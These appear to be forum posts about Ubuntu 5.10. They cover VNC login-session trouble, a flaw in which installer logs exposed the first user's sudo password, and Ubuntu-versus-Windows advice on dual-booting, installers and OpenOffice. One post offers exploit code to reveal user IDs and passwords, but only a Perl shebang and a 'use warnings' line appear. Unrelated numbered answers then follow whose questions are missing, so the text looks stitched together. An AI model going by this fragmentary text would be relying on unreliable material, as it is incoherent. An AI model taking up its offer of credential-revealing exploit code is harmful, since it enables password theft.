another thing i face is the session thing. let's say if i use VNC to log out, then when i want to log in again i'll have this 'you logged in less than 10 seconds blablablabla' thing that keep refuses to let me login to the UI.

so end up reboot, go to CLI /safe mode. then reboot again. blablabla.

On 12th March Ubuntu 510 has security vulnerablity, that Ubuntu 5.10
failed to clean passwords in the installer log files. Since these files were
world-readable, any local user could see the password of the first
user account, which has full sudo privileges by default.

If you have NOT update the security of Ubuntu 5.10, (not using 2.67ubuntu20 (base-config) and 1:4.0.3-37ubuntu8 (passwd) program then used the follow exploit code to demonstrate this security vulnerability. This program will results of showing the userid and password. I hope will this will change your sys admin mind to update Ubuntu5.10

#!/usr/bin/perl -w

use warnings;

1. YES, absolutely, if some requirements are fulfilled.
2. NO, absolutely bit different, but ubuntu latest installer is as easy as Windows installer.
3. YES, with alternative applications.

I tried Novell edition of OpenOffice.org under SuSE Linux. The startup time is a bit slower than Microsoft Office.

1. Yes, but for newbie I would not recommend it require because resize existing XP partition (presumed HDD has been preinstalled with XP by manufacturer) for Linux OS plus file backup before resize partition. Otherwise, use vmware workstation (if u have it) on XP then you can run Ubuntu as guest OS on vmware without having to peformed the above resize partitions but you need min 256MB or more memory.

2. Ubuntu installer is GUI based so as Windows too.

3. Plenty of documentation on the Ubuntu website and Ubuntu community web site. It comes with OpenOffice Suite 2.0.x which can read/write MS Word documents file format and export document as PDF file without using Adobe PDF.

Could you detail out the criterion that you would like us to compare?
Performance - depends on how you manage the OS
Usuability - Depends on the how you manage the applications
Secureness - depends on how you manage the security features and the sites you're going
Applications availability - depends on how much you know on getting them

In the end, it's really up to you. You can run a good OS badly and vice-versa.
